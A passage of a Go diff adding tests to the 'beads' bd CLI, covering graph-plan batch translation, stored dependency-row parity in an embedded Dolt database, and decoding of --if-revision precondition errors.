wantNoHis: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ephemeral, noHistory, class, err := graphApplyNodeStorageClass(tt.node, tt.opts) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if class != "" { + t.Errorf("class = %q, want empty (config default yields to wisp plane)", class) + } + if ephemeral != tt.wantEphem { + t.Errorf("ephemeral = %v, want %v", ephemeral, tt.wantEphem) + } + if noHistory != tt.wantNoHis { + t.Errorf("noHistory = %v, want %v", noHistory, tt.wantNoHis) + } + }) + } +} + +// TestBuildGraphApplyBatchRequestItemOrderAndRefs pins the translation +// buildGraphApplyBatchRequest performs for both the embedded and proxied +// `bd create --graph` legs: every create lands first (plan order), then +// parent-child dep_adds, then explicit edges, then inline node deps, then +// trailing assign_after_create updates — so every Ref below resolves +// backward regardless of the plan's own declaration order. +func TestBuildGraphApplyBatchRequestItemOrderAndRefs(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "root", Title: "Root", Type: "epic"}, + {Key: "child", Title: "Child", ParentKey: "root", Deps: []GraphApplyNodeDep{{Target: "root", Type: "blocks"}}}, + {Key: "deferred", Title: "Deferred assignee", Assignee: "worker", AssignAfterCreate: true}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "child", ToKey: "deferred", Type: "related-to"}, + }, + } + + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "owner@example.com") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + + var gotKinds []issueops.ItemKind + for _, item := range req.Items { + gotKinds = append(gotKinds, item.Kind) + } + wantKinds := []issueops.ItemKind{ + issueops.ItemCreate, issueops.ItemCreate, issueops.ItemCreate, // root, child, deferred + issueops.ItemDepAdd, // child -> root (parent-child) + issueops.ItemDepAdd, // child -> deferred (explicit edge) + issueops.ItemDepAdd, // child -> root (inline dep) + issueops.ItemUpdate, // deferred's assign_after_create + } + if len(gotKinds) != len(wantKinds) { + t.Fatalf("item kinds = %v, want %v", gotKinds, wantKinds) + } + for i := range wantKinds { + if gotKinds[i] != wantKinds[i] { + t.Errorf("item %d kind = %q, want %q", i, gotKinds[i], wantKinds[i]) + } + } + + parentDep := req.Items[3].DepAdd + if parentDep.Source != (issueops.Ref{Key: "child"}) || parentDep.Target != (issueops.Ref{Key: "root"}) || parentDep.Type != types.DepParentChild { + t.Errorf("parent-child dep_add = %+v", parentDep) + } + explicitEdge := req.Items[4].DepAdd + if explicitEdge.Source != (issueops.Ref{Key: "child"}) || explicitEdge.Target != (issueops.Ref{Key: "deferred"}) || explicitEdge.Type != types.DependencyType("related-to") { + t.Errorf("explicit edge dep_add = %+v", explicitEdge) + } + inlineDep := req.Items[5].DepAdd + if inlineDep.Source != (issueops.Ref{Key: "child"}) || inlineDep.Target != (issueops.Ref{Key: "root"}) || inlineDep.Type != types.DepBlocks { + t.Errorf("inline dep_add = %+v", inlineDep) + } + update := req.Items[6].Update + if update.Target != (issueops.Ref{Key: "deferred"}) || !update.Patch.Assignee.Set || update.Patch.Assignee.Value != "worker" { + t.Errorf("deferred assignee update = %+v", update) + } + + if req.Actor != "actor" || req.Provenance == "" { + t.Errorf("request actor/provenance = %q/%q", req.Actor, req.Provenance) + } +} + +// TestBuildGraphApplyBatchRequestEdgeRefPrefersExplicitID pins resolveEdgeRef's +// old precedence, now inlined as the `ref` closure: an edge endpoint carrying +// both a plan key and an explicit id resolves to the id. +func TestBuildGraphApplyBatchRequestEdgeRefPrefersExplicitID(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A"}, + {Key: "b", Title: "B"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", ToID: "bd-existing", Type: "blocks"}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + var edge *issueops.DepAddItem + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd { + edge = item.DepAdd + } + } + if edge == nil { + t.Fatal("no dep_add item found") + } + if edge.Target != (issueops.Ref{ID: "bd-existing"}) { + t.Errorf("edge target = %+v, want explicit id to win over to_key", edge.Target) + } +} + +// TestBuildGraphApplyBatchRequestParentKeyWinsOverParentID pins the opposite +// precedence for a node's parent: a node naming both a plan-local parent +// (parent_key, or its parent alias) and a parent_id is parented under the +// plan key, as both legs did before the BatchApplier translation, and as the +// dry-run preview and the local cycle check already assume. +func TestBuildGraphApplyBatchRequestParentKeyWinsOverParentID(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "root", Title: "Root", Type: "epic"}, + {Key: "keyed", Title: "Keyed", ParentKey: "root", ParentID: "bd-existing"}, + {Key: "aliased", Title: "Aliased", Parent: "root", ParentID: "bd-existing"}, + {Key: "external", Title: "External", ParentID: "bd-existing"}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + got := map[string]issueops.Ref{} + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd && item.DepAdd.Type == types.DepParentChild { + got[item.DepAdd.Source.Key] = item.DepAdd.Target + } + } + want := map[string]issueops.Ref{ + "keyed": {Key: "root"}, + "aliased": {Key: "root"}, + "external": {ID: "bd-existing"}, + } + if !reflect.DeepEqual(got, want) { + t.Errorf("parent-child targets = %+v, want %+v", got, want) + } +} + +// TestBuildGraphApplyBatchRequestWaitsForGateMetadataCarriesGateOnly pins that +// this translation only ever writes the gate into a waits-for edge's +// Metadata: SpawnerKey/SpawnerID are validated elsewhere to equal the edge's +// own target, and issueops.StampWaitsForSpawnerID (the role's own end, not +// this translation) is what fills metadata.spawner_id once the batch mints +// every id — see graphApplyEdgeBatchMetadata's doc. +func TestBuildGraphApplyBatchRequestWaitsForGateMetadataCarriesGateOnly(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "gate", Title: "Gate"}, + {Key: "spawner", Title: "Spawner"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "gate", ToKey: "spawner", Type: "waits-for", Gate: "any-children", SpawnerKey: "spawner"}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + var edge *issueops.DepAddItem + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd { + edge = item.DepAdd + } + } + if edge == nil { + t.Fatal("no dep_add item found") + } + var meta types.WaitsForMeta + if err := json.Unmarshal([]byte(edge.Metadata), &meta); err != nil { + t.Fatalf("edge.Metadata = %q not valid WaitsForMeta JSON: %v", edge.Metadata, err) + } + if meta.Gate != types.WaitsForAnyChildren { + t.Errorf("meta.Gate = %q, want any-children", meta.Gate) + } + if meta.SpawnerID != "" { + t.Errorf("meta.SpawnerID = %q, want empty: the role stamps it after ids are minted", meta.SpawnerID) + } + if !edge.HasSpawner { + t.Errorf("edge.HasSpawner = false, want true: the edge named spawner_key %q", "spawner") + } +} + +// TestBuildGraphApplyBatchRequestWaitsForNoSpawnerLeavesHasSpawnerFalse pins +// the 2026-10 Opus-review HIGH-2 fix's other half: a waits-for edge that names +// NO spawner_key/spawner_id must translate to HasSpawner false, so the role +// (StampWaitsForSpawnerID's caller in both BatchApplier legs) leaves its +// stored metadata gate-only rather than stamping in a spawner_id the plan +// never asked for. +func TestBuildGraphApplyBatchRequestWaitsForNoSpawnerLeavesHasSpawnerFalse(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "gate", Title: "Gate"}, + {Key: "spawner", Title: "Spawner"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "gate", ToKey: "spawner", Type: "waits-for"}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + var edge *issueops.DepAddItem + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd { + edge = item.DepAdd + } + } + if edge == nil { + t.Fatal("no dep_add item found") + } + if edge.HasSpawner { + t.Errorf("edge.HasSpawner = true, want false: the edge named no spawner_key/spawner_id") + } +} + +// TestBuildGraphApplyBatchRequestCarriesEdgeThreadID pins that edges[].thread_id +// — previously rejected outright because issueops.DepAddItem had no member to +// carry it (the 2026-10 Opus-review HIGH-1 finding) — now reaches the dep_add +// item's own ThreadID field unchanged, so both BatchApplier legs can stamp it +// onto the stored dependency row (see TestGraphApplyThreadIDGoldenParity for +// the stored-row assertion). +func TestBuildGraphApplyBatchRequestCarriesEdgeThreadID(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A"}, + {Key: "b", Title: "B"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", Type: "replies-to", ThreadID: "thread-1"}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + var edge *issueops.DepAddItem + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd { + edge = item.DepAdd + } + } + if edge == nil { + t.Fatal("no dep_add item found") + } + if edge.ThreadID != "thread-1" { + t.Errorf("edge.ThreadID = %q, want %q", edge.ThreadID, "thread-1") + } +} + +// TestBuildGraphApplyBatchRequestCapBoundary pins the exact boundary of the +// "atomic, never chunked" refusal: a plan whose translated item count sits at +// issueops.MaxApplyBatchItems is accepted, and one item over is refused with +// *GraphApplyTooLargeError rather than being split across more than one +// transaction. +func TestBuildGraphApplyBatchRequestCapBoundary(t *testing.T) { + buildPlanWithNodeCount := func(n int) *GraphApplyPlan { + nodes := make([]GraphApplyNode, n) + for i := range nodes { + nodes[i] = GraphApplyNode{Key: fmt.Sprintf("n%d", i), Title: "N"} + } + return &GraphApplyPlan{Nodes: nodes} + } + + t.Run("exactly the cap succeeds", func(t *testing.T) { + plan := buildPlanWithNodeCount(issueops.MaxApplyBatchItems) + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest at the cap: %v", err) + } + if len(req.Items) != issueops.MaxApplyBatchItems { + t.Fatalf("item count = %d, want %d", len(req.Items), issueops.MaxApplyBatchItems) + } + }) + + t.Run("one over the cap is refused", func(t *testing.T) { + plan := buildPlanWithNodeCount(issueops.MaxApplyBatchItems + 1) + _, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + var tooLarge *GraphApplyTooLargeError + if !errors.As(err, &tooLarge) { + t.Fatalf("err = %v, want *GraphApplyTooLargeError", err) + } + if tooLarge.ItemCount != issueops.MaxApplyBatchItems+1 || tooLarge.Max != issueops.MaxApplyBatchItems { + t.Errorf("tooLarge = %+v, want ItemCount=%d Max=%d", tooLarge, issueops.MaxApplyBatchItems+1, issueops.MaxApplyBatchItems) + } + }) +} + +// wantCoveredGraphApplyEdgeFields and wantCoveredGraphApplyNodeDepFields are +// the field-name allowlists TestBuildGraphApplyBatchRequestFieldsSurvive +// checks every GraphApplyEdge/GraphApplyNodeDep field against. A field +// missing from its allowlist fails the test immediately: this is the guard +// against a future field silently riding through buildGraphApplyBatchRequest +// untested, which is exactly how edges[].thread_id (2026-10 Opus-review +// HIGH-1) and the spawner_key/spawner_id -> HasSpawner translation (HIGH-2) +// went unverified before. Adding a field to either struct means adding it +// here AND adding a subtest below that proves it reaches (or is deliberately +// dropped from) the built issueops.ApplyBatchRequest. +var wantCoveredGraphApplyEdgeFields = map[string]bool{ + "FromKey": true, "FromID": true, "ToKey": true, "ToID": true, + "Type": true, "Gate": true, "SpawnerKey": true, "SpawnerID": true, + "ThreadID": true, +} + +var wantCoveredGraphApplyNodeDepFields = map[string]bool{ + "Type": true, "Target": true, +} + +// TestBuildGraphApplyBatchRequestFieldsSurvive is the field-check test the +// coordinator's 2026-10 re-review asked for: it fails if any graph-plan edge +// or inline-dep field — including thread_id, the spawner fields and gate +// metadata — is dropped when buildGraphApplyBatchRequest translates a plan +// into issueops.DepAddItem entries for the BatchApplier request. +// +// This cannot be the old (now-deleted) TestBuildDomainGraphPlanCoversEdgeFields +// reflection trick of copying every source field onto a same-named destination +// field: GraphApplyEdge and issueops.DepAddItem do not share field names. +// FromKey/FromID collapse into one Source Ref, ToKey/ToID into one Target Ref, +// Gate is JSON-encoded into Metadata only for waits-for edges, and +// SpawnerKey/SpawnerID collapse into the derived HasSpawner bool. So instead +// this enumerates GraphApplyEdge/GraphApplyNodeDep's fields by reflection and +// requires each one to be claimed in wantCoveredGraphApplyEdgeFields / +// wantCoveredGraphApplyNodeDepFields above (an unclaimed field fails outright, +// forcing a conscious update here), then independently proves each claimed +// field actually reaches the built request. +func TestBuildGraphApplyBatchRequestFieldsSurvive(t *testing.T) { + assertAllFieldsClaimed := func(t *testing.T, typ reflect.Type, claimed map[string]bool) { + t.Helper() + for i := 0; i < typ.NumField(); i++ { + name := typ.Field(i).Name + if !claimed[name] { + t.Errorf("%s.%s has no coverage claim in this test; add it to the allowlist and prove it survives buildGraphApplyBatchRequest", typ.Name(), name) + } + } + for name := range claimed { + if _, ok := typ.FieldByName(name); !ok { + t.Errorf("allowlist claims %s.%s but no such field exists; stale entry", typ.Name(), name) + } + } + } + assertAllFieldsClaimed(t, reflect.TypeOf(GraphApplyEdge{}), wantCoveredGraphApplyEdgeFields) + assertAllFieldsClaimed(t, reflect.TypeOf(GraphApplyNodeDep{}), wantCoveredGraphApplyNodeDepFields) + + // lastDepAdd returns the last dep_add item's payload, matching the + // pattern every sibling test in this file already uses to pick out the + // one edge a single-edge plan produces. + lastDepAdd := func(t *testing.T, req issueops.ApplyBatchRequest) *issueops.DepAddItem { + t.Helper() + var got *issueops.DepAddItem + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd { + got = item.DepAdd + } + } + if got == nil { + t.Fatal("no dep_add item found in built request") + } + return got + } + + t.Run("FromKey and ToKey resolve to plan-key refs", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "a", Title: "A"}, {Key: "b", Title: "B"}}, + Edges: []GraphApplyEdge{{FromKey: "a", ToKey: "b", Type: "related-to"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + edge := lastDepAdd(t, req) + if edge.Source != (issueops.Ref{Key: "a"}) { + t.Errorf("Source = %+v, want key ref a (FromKey dropped?)", edge.Source) + } + if edge.Target != (issueops.Ref{Key: "b"}) { + t.Errorf("Target = %+v, want key ref b (ToKey dropped?)", edge.Target) + } + }) + + t.Run("FromID and ToID resolve to id refs", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "placeholder", Title: "unused except to keep the plan non-empty"}}, + Edges: []GraphApplyEdge{{FromID: "bd-from-1", ToID: "bd-to-1", Type: "blocks"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + edge := lastDepAdd(t, req) + if edge.Source != (issueops.Ref{ID: "bd-from-1"}) { + t.Errorf("Source = %+v, want id ref bd-from-1 (FromID dropped?)", edge.Source) + } + if edge.Target != (issueops.Ref{ID: "bd-to-1"}) { + t.Errorf("Target = %+v, want id ref bd-to-1 (ToID dropped?)", edge.Target) + } + }) + + t.Run("Type carries through to DepAddItem.Type", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "a", Title: "A"}, {Key: "b", Title: "B"}}, + Edges: []GraphApplyEdge{{FromKey: "a", ToKey: "b", Type: "custom-edge-type"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + edge := lastDepAdd(t, req) + if edge.Type != types.DependencyType("custom-edge-type") { + t.Errorf("Type = %q, want %q (Type dropped?)", edge.Type, "custom-edge-type") + } + }) + + t.Run("Gate is JSON-encoded into Metadata for a waits-for edge", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "gate", Title: "Gate"}, {Key: "spawner", Title: "Spawner"}}, + Edges: []GraphApplyEdge{{FromKey: "gate", ToKey: "spawner", Type: string(types.DepWaitsFor), Gate: string(types.WaitsForAnyChildren), SpawnerKey: "spawner"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + edge := lastDepAdd(t, req) + var meta types.WaitsForMeta + if err := json.Unmarshal([]byte(edge.Metadata), &meta); err != nil { + t.Fatalf("Metadata = %q not valid WaitsForMeta JSON: %v (Gate dropped?)", edge.Metadata, err) + } + if meta.Gate != types.WaitsForAnyChildren { + t.Errorf("meta.Gate = %q, want %q (Gate dropped?)", meta.Gate, types.WaitsForAnyChildren) + } + }) + + t.Run("SpawnerKey sets HasSpawner true", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "gate", Title: "Gate"}, {Key: "spawner", Title: "Spawner"}}, + Edges: []GraphApplyEdge{{FromKey: "gate", ToKey: "spawner", Type: string(types.DepWaitsFor), SpawnerKey: "spawner"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + if edge := lastDepAdd(t, req); !edge.HasSpawner { + t.Error("HasSpawner = false, want true (SpawnerKey dropped?)") + } + }) + + t.Run("SpawnerID sets HasSpawner true", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "gate", Title: "Gate"}}, + Edges: []GraphApplyEdge{{FromKey: "gate", ToID: "bd-spawner-1", Type: string(types.DepWaitsFor), SpawnerID: "bd-spawner-1"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + if edge := lastDepAdd(t, req); !edge.HasSpawner { + t.Error("HasSpawner = false, want true (SpawnerID dropped?)") + } + }) + + t.Run("no spawner field leaves HasSpawner false", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "gate", Title: "Gate"}, {Key: "spawner", Title: "Spawner"}}, + Edges: []GraphApplyEdge{{FromKey: "gate", ToKey: "spawner", Type: string(types.DepWaitsFor)}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + if edge := lastDepAdd(t, req); edge.HasSpawner { + t.Error("HasSpawner = true, want false: edge named no spawner_key/spawner_id") + } + }) + + t.Run("ThreadID carries through unchanged", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "a", Title: "A"}, {Key: "b", Title: "B"}}, + Edges: []GraphApplyEdge{{FromKey: "a", ToKey: "b", Type: "replies-to", ThreadID: "thread-field-check"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + if edge := lastDepAdd(t, req); edge.ThreadID != "thread-field-check" { + t.Errorf("ThreadID = %q, want %q (ThreadID dropped?)", edge.ThreadID, "thread-field-check") + } + }) + + t.Run("inline dep Type and Target carry through", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "parent", Title: "Parent"}, + {Key: "child", Title: "Child", Deps: []GraphApplyNodeDep{{Type: "field-check-dep-type", Target: "parent"}}}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + edge := lastDepAdd(t, req) + if edge.Source != (issueops.Ref{Key: "child"}) || edge.Target != (issueops.Ref{Key: "parent"}) { + t.Errorf("Source/Target = %+v/%+v, want child/parent key refs (Target dropped?)", edge.Source, edge.Target) + } + if edge.Type != types.DependencyType("field-check-dep-type") { + t.Errorf("Type = %q, want %q (inline dep Type dropped?)", edge.Type, "field-check-dep-type") + } + }) +} diff --git a/cmd/bd/graph_apply_thread_spawner_embedded_test.go b/cmd/bd/graph_apply_thread_spawner_embedded_test.go new file mode 100644 index 000000000..28212536d --- /dev/null +++ b/cmd/bd/graph_apply_thread_spawner_embedded_test.go @@ -0,0 +1,115 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/storage/embeddeddolt" +) + +// edgeRow is the raw persisted shape of a dependencies row that this test +// cares about: the JSON metadata blob and the thread_id column. +type edgeRow struct { + metadata string + threadID string +} + +// queryEdgeRow reads the metadata/thread_id columns for a single dependency +// edge directly via SQL, bypassing any CLI-level projection, so this test is +// a true golden parity check of what --graph actually persisted. +func queryEdgeRow(t *testing.T, beadsDir, database, issueID, dependsOnID string) edgeRow { + t.Helper() + dataDir := filepath.Join(beadsDir, "embeddeddolt") + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), dataDir, database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer cleanup() + var row edgeRow + err = db.QueryRowContext(t.Context(), + "SELECT COALESCE(metadata,''), COALESCE(thread_id,'') FROM dependencies "+ + "WHERE issue_id = ? AND COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?", + issueID, dependsOnID).Scan(&row.metadata, &row.threadID) + if err != nil { + t.Fatalf("query edge row %s -> %s: %v", issueID, dependsOnID, err) + } + return row +} + +// TestGraphApplyThreadIDAndSpawnerStampGoldenParity is the golden +// input->stored-row parity test required by the S11 review fix-up for HIGH-1 +// (edges[].thread_id was being rejected, but was previously stored and must +// round-trip) and HIGH-2 (edges[].spawner_key/spawner_id must stamp +// metadata.spawner_id only when the plan actually named a spawner; an +// unnamed waits-for edge must keep gate-only metadata, matching the +// pre-BatchApplier types.NewGraphEdgeDependency behavior). +func TestGraphApplyThreadIDAndSpawnerStampGoldenParity(t *testing.T) { + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "gp") + + plan := `{ + "nodes": [ + {"key": "a", "title": "A"}, + {"key": "b", "title": "B"}, + {"key": "s", "title": "Spawner"}, + {"key": "w", "title": "Waiter"}, + {"key": "s2", "title": "Spawner2"}, + {"key": "w2", "title": "Waiter2"} + ], + "edges": [ + {"from_key": "a", "to_key": "b", "type": "replies-to", "thread_id": "th-1"}, + {"from_key": "w", "to_key": "s", "type": "waits-for", "gate": "any-children", "spawner_key": "s"}, + {"from_key": "w2", "to_key": "s2", "type": "waits-for"} + ] + }` + planFile := filepath.Join(dir, "golden-plan.json") + if err := os.WriteFile(planFile, []byte(plan), 0o600); err != nil { + t.Fatalf("write plan: %v", err) + } + result := bdCreateGraph(t, bd, dir, planFile) + + aID, bID := result.IDs["a"], result.IDs["b"] + sID, wID := result.IDs["s"], result.IDs["w"] + s2ID, w2ID := result.IDs["s2"], result.IDs["w2"] + for key, id := range map[string]string{"a": aID, "b": bID, "s": sID, "w": wID, "s2": s2ID, "w2": w2ID} { + if id == "" { + t.Fatalf("missing resolved id for key %q in %+v", key, result.IDs) + } + } + + // HIGH-1: thread_id must round-trip from plan input to stored row. + threadRow := queryEdgeRow(t, beadsDir, "gp", aID, bID) + if threadRow.threadID != "th-1" { + t.Errorf("replies-to thread_id = %q, want %q", threadRow.threadID, "th-1") + } + + // HIGH-2 positive: a waits-for edge with a named spawner_key must stamp + // metadata.spawner_id to the resolved spawner issue ID. + spawnRow := queryEdgeRow(t, beadsDir, "gp", wID, sID) + var spawnMeta map[string]any + if err := json.Unmarshal([]byte(spawnRow.metadata), &spawnMeta); err != nil { + t.Fatalf("parse spawner edge metadata %q: %v", spawnRow.metadata, err) + } + if spawnMeta["gate"] != "any-children" { + t.Errorf("spawner edge gate = %v, want any-children", spawnMeta["gate"]) + } + if spawnMeta["spawner_id"] != sID { + t.Errorf("spawner edge spawner_id = %v, want %q", spawnMeta["spawner_id"], sID) + } + + // HIGH-2 negative: a waits-for edge with no named spawner must keep + // gate-only metadata and must NOT acquire a spawner_id (the bug: it was + // previously stamped unconditionally from the resolved target). + noSpawnRow := queryEdgeRow(t, beadsDir, "gp", w2ID, s2ID) + var noSpawnMeta map[string]any + if err := json.Unmarshal([]byte(noSpawnRow.metadata), &noSpawnMeta); err != nil { + t.Fatalf("parse no-spawner edge metadata %q: %v", noSpawnRow.metadata, err) + } + if _, present := noSpawnMeta["spawner_id"]; present { + t.Errorf("no-spawner edge metadata = %q, must not contain spawner_id", noSpawnRow.metadata) + } +} diff --git a/cmd/bd/if_revision_gc_matcher_embedded_test.go b/cmd/bd/if_revision_gc_matcher_embedded_test.go new file mode 100644 index 000000000..4ef28c612 --- /dev/null +++ b/cmd/bd/if_revision_gc_matcher_embedded_test.go @@ -0,0 +1,194 @@ +//go:build cgo + +package main + +import ( + "bytes" + "encoding/json" + "os" + "strconv" + "testing" +) + +// This file is a faithful, line-for-line port of the DECODE half of gc's +// (gascity origin/main) internal/beads/bdstore_conditional.go — specifically +// bdConditionalErrorBody, hasDiscriminator, parseBdConditionalErrorBody, and +// decodeBdConditionalBodies. It exists because bd and gc are separate repos +// with no shared Go package: gc's matcher parses bd's CLI JSON error output +// by convention, not by a compiled contract, so the only way to pin that +// contract from bd's side is to copy gc's own decode logic and run it against +// bd's real output. This is the "faithful copy of its decode" alternative the +// 2026-10 Opus review of f8c7ecf01 asked for, in lieu of vendoring the gc +// module. If gc's decode logic changes, this port and +// TestEmbeddedGCConditionalMatcherDecode below must be updated to match — the +// contract is the string/shape, not this file. +// +// Keep this in sync with gc's internal/beads/bdstore_conditional.go. + +type gcBdConditionalErrorBody struct { + Error string `json:"error"` + Code string `json:"code"` + ExpectedRevision *int64 `json:"expected_revision"` + CurrentRevision *int64 `json:"current_revision"` +} + +func (b gcBdConditionalErrorBody) hasDiscriminator() bool { + return b.Code != "" || b.ExpectedRevision != nil || b.CurrentRevision != nil +} + +func gcParseBdConditionalErrorBody(out []byte, errText string) (gcBdConditionalErrorBody, bool) { + sources := [][]byte{out} + if errText != "" { + sources = append(sources, []byte(errText)) + } + var ( + fallback gcBdConditionalErrorBody + haveAny bool + ) + for _, src := range sources { + for _, body := range gcDecodeBdConditionalBodies(src) { + if body.hasDiscriminator() { + return body, true + } + if !haveAny { + fallback, haveAny = body, true + } + } + } + return fallback, haveAny +} + +func gcDecodeBdConditionalBodies(src []byte) []gcBdConditionalErrorBody { + var bodies []gcBdConditionalErrorBody + for i := 0; i < len(src); { + brace := bytes.IndexByte(src[i:], '{') + if brace < 0 { + break + } + i += brace + dec := json.NewDecoder(bytes.NewReader(src[i:])) + var env struct { + Data *gcBdConditionalErrorBody `json:"data"` + gcBdConditionalErrorBody + } + if dec.Decode(&env) != nil { + i++ + continue + } + if env.Data != nil { + bodies = append(bodies, *env.Data) + } else { + bodies = append(bodies, env.gcBdConditionalErrorBody) + } + i += int(dec.InputOffset()) + } + return bodies +} + +// gcClassifyAsPrecondition replicates classifyConditionalWriteResult's +// authoritative-code branch: a recognized machine body code dominates +// everything else, including the message heuristics gc falls back to when bd +// omits a code. This is the path the BLOCKER fix activates — the fallback +// phrase-matching ("precondition failed" / "revision mismatch") is +// deliberately NOT exercised here, since the fix's whole point is that gc no +// longer needs it. +func gcClassifyAsPrecondition(out []byte, errText string) (ok bool, expected, current int64, haveExpected, haveCurrent bool) { + body, bodyOK := gcParseBdConditionalErrorBody(out, errText) + if !bodyOK || body.Code != "precondition_failed" { + return false, 0, 0, false, false + } + if body.ExpectedRevision != nil { + expected, haveExpected = *body.ExpectedRevision, true + } + if body.CurrentRevision != nil { + current, haveCurrent = *body.CurrentRevision, true + } + return true, expected, current, haveExpected, haveCurrent +} + +// TestEmbeddedGCConditionalMatcherDecode runs the ported gc decode (above) +// against a real --if-revision mismatch from the built bd, for every verb gc's +// BdStore.{Update,Close,Delete}IfMatch (and bd's own assign/reopen guards) +// cover, pinning the 2026-10 Opus-review BLOCKER fix end-to-end: gc's own +// classifier logic, not just bd's JSON shape in isolation, must recognize the +// refusal as a precondition with the caller's expected revision and bd's +// current one. The TestEmbedded name in an *_embedded_test.go file is what +// puts it in a CI lane: .github/scripts/embedded-test-shard.sh discovers +// tests by exactly that pair, and under any other name it skips everywhere. +func TestEmbeddedGCConditionalMatcherDecode(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "igc") + env := crossModeEnv{mode: "embedded", bd: bd, dir: dir, env: bdEnv(dir)} + + cases := []struct { + name string + closeFirst bool // start from a closed issue rather than a fresh open one + args func(id string) []string + }{ + {"update", false, func(id string) []string { + return []string{"update", id, "--if-revision", "", "--priority", "3", "--json"} + }}, + {"close", false, func(id string) []string { + return []string{"close", id, "--if-revision", "", "--json"} + }}, + {"reopen", true, func(id string) []string { + return []string{"reopen", id, "--if-revision", "", "--json"} + }}, + // The guard is judged before reopen's already-open no-op, so a stale + // token on an open issue is still a refusal (exit 13 and the same + // body), never an "already open" success that stops fencing. + {"reopen_open", false, func(id string) []string { + return 